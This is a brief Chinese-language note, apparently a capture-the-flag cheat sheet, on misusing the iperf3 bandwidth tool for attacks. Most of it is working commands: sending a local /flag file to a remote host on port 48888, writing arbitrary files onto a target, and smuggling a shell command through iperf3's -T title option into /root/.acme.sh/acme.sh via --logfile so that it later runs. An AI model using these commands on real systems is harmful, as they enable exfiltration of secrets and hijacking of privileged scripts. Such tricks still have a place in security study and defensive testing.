iperf3是一个用来测带宽的工具,它支持自定义传输文件来测试带宽

Server端读文件

Server: iperf3 -s -F test -p 48888

Client: iperf3 -F /flag -c xx.xx.xx.xx -p 48888

Server端写文件

Server: iperf3 -s -F ./eval -p 48888

Client: iperf3 -F test -c xx.xx.xx.xx -p 48888 -R

文件读写支持正则匹配,但是不支持读文件夹

读/flag可以写成/f

单独iperf3利用(不出网也可以)

直接写文件

-T, --title str prefix every output line with this string

--logfile f send output to a log file

iperf3 -T "cp /*flaG* /var/www/html/flag.html #" --logfile /root/.acme.sh/acme.sh